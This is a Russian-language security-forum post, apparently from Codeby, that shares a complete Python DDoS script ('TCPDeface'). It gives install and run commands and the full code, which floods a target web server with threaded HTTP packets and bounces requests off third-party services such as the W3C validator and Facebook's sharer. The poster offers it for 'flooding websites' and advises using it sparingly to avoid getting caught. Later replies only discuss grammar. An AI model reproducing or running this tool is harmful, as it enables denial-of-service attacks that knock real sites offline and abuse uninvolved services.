• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Soft Python for death; Скрипт DDoS на основе Python для наводнения веб-сервера.

The Vincenzo

Green Team
11.08.2019
89
12
BIT
0
Сегодня, я вам покажу, такую скрипт.... Для наводнение веб сайта. Только советую его использовать редко, а то можете "Спалиться"

Так вот, устанавливаем некоторые скрипты, для работы Python

Для Ubuntu:

Код с оформлением (BB-коды):
sudo apt-get update && sudo apt-get -y upgrade
sudo apt-get install -y python3-pip
sudo apt-get install build-essential libssl-dev libffi-dev python-dev
python3 -V


Для CentOs7:

Код с оформлением (BB-коды):
sudo yum install -y https://centos7.iuscommunity.org/ius-release.rpm

sudo yum update

sudo yum install -y python36u python36u-libs python36u-devel python36u-pip

sudo yum groupinstall -y "Development Tools"

python3.6 -V

Теперь, надо установить "The Script":

Код с оформлением (BB-коды):
cd /

mkdir DDoS

cd DDoS

git clone https://github.com/RoqueNight/Python_TCP_DDoS_Script.git

cd Python_TCP_DDoS_Script

chmod +x TCPDeface.py

python3 TCPDeface.py -s <IP> -t 100

После успешной установке, закрываем Терминал. И открываем любой редактор для Python

И пишем вот такой код:

Python:
from queue import Queue
from optparse import OptionParser
import time,sys,socket,threading,logging,urllib.request,random

def user_agent():
    global uagent
    uagent=[]
    uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
    uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
    uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
    uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
    uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
    uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
    uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
    return(uagent)


def my_bots():
    global bots
    bots=[]
    bots.append("http://validator.w3.org/check?uri=")
    bots.append("http://www.facebook.com/sharer/sharer.php?u=")
    return(bots)


def bot_hammering(url):
    try:
        while True:
            req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
            print("\033[94mBot Connected & flooding...\033[0m")
            time.sleep(.1)
    except:
        time.sleep(.1)


def down_it(item):
    try:
        while True:
            packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host,int(port)))
            if s.sendto( packet, (host, int(port)) ):
                s.shutdown(1)
                print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--Attack Packets Flooding--> \033[0m")
            else:
                s.shutdown(1)
                print("\033[91mshut<->down\033[0m")
            time.sleep(.1)
    except socket.error as e:
        print("\033[91mno connection! Server Down\033[0m")
        #print("\033[91m",e,"\033[0m")
        time.sleep(.1)


def dos():
    while True:
        item = q.get()
        down_it(item)
        q.task_done()


def dos2():
    while True:
        item=w.get()
        bot_hammering(random.choice(bots)+"http://"+host)
        w.task_done()


def usage():
    print (''' \033[92m    TCPDeface V1.0 By Armand Kruger
    It is the end user's responsibility to obey all applicable laws.
    It is just for server testing script. Your ip is visible. \n
    usage : python3 hammer.py [-s] [-p] [-t]
    -h : help
    -s : server ip
    -p : port default 80
    -t : turbo default 135 \033[0m''')
    sys.exit()


def get_parameters():
    global host
    global port
    global thr
    global item
    optp = OptionParser(add_help_option=False,epilog="Hammers")
    optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
    optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")
    optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
    optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135")
    optp.add_option("-h","--help",dest="help",action='store_true',help="help you")
    opts, args = optp.parse_args()
    logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
    if opts.help:
        usage()
    if opts.host is not None:
        host = opts.host
    else:
        usage()
    if opts.port is None:
        port = 80
    else:
        port = opts.port
    if opts.turbo is None:
        thr = 135
    else:
        thr = opts.turbo


# reading headers
global data
headers = open("headers.txt", "r")
data = headers.read()
headers.close()
#task queue are q,w
q = Queue()
w = Queue()


if __name__ == '__main__':
    if len(sys.argv) < 2:
        usage()
    get_parameters()
    print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")
    print("\033[94mConnecting To Remote Bot Network\033[0m")
    user_agent()
    my_bots()
    time.sleep(5)
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host,int(port)))
        s.settimeout(1)
    except socket.error as e:
        print("\033[91mcheck server ip and port\033[0m")
        usage()
    while True:
        for i in range(int(thr)):
            t = threading.Thread(target=dos)
            t.daemon = True  # if thread is exist, it dies
            t.start()
            t2 = threading.Thread(target=dos2)
            t2.daemon = True  # if thread is exist, it dies
            t2.start()
        start = time.time()
        #tasking
        item = 0
        while True:
            if (item>1800): # for no memory crash
                item=0
                time.sleep(.1)
            item = item + 1
            q.put(item)
            w.put(item)
        q.join()
        w.join()

Надеюсь, у вас всё получилось. Xd
 
  • Нравится
Реакции: coder

migu

Grey Team
14.01.2020
224
60
BIT
11
Может быть, потому что там явная орфографическая ошибка ?
 

migu

Grey Team
14.01.2020
224
60
BIT
11
если уж не видите, покажу, но это не так важно. "такую" - относится к женскому роду, "скрипт" - мужского.
На мой взгляд, перевод комментариев в коде был бы куда более интересен))
 

The Vincenzo

Green Team
11.08.2019
89
12
BIT
0
если уж не видите, покажу, но это не так важно. "такую" - относится к женскому роду, "скрипт" - мужского.
На мой взгляд, перевод комментариев в коде был бы куда более интересен))
Ааааа.... Ну я окончаниями нуб. А теперь изменить нельзя да?

если уж не видите, покажу, но это не так важно. "такую" - относится к женскому роду, "скрипт" - мужского.
На мой взгляд, перевод комментариев в коде был бы куда более интересен))
Надо было писать не "такую" а "такой"
 
  • Нравится
Реакции: migu
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!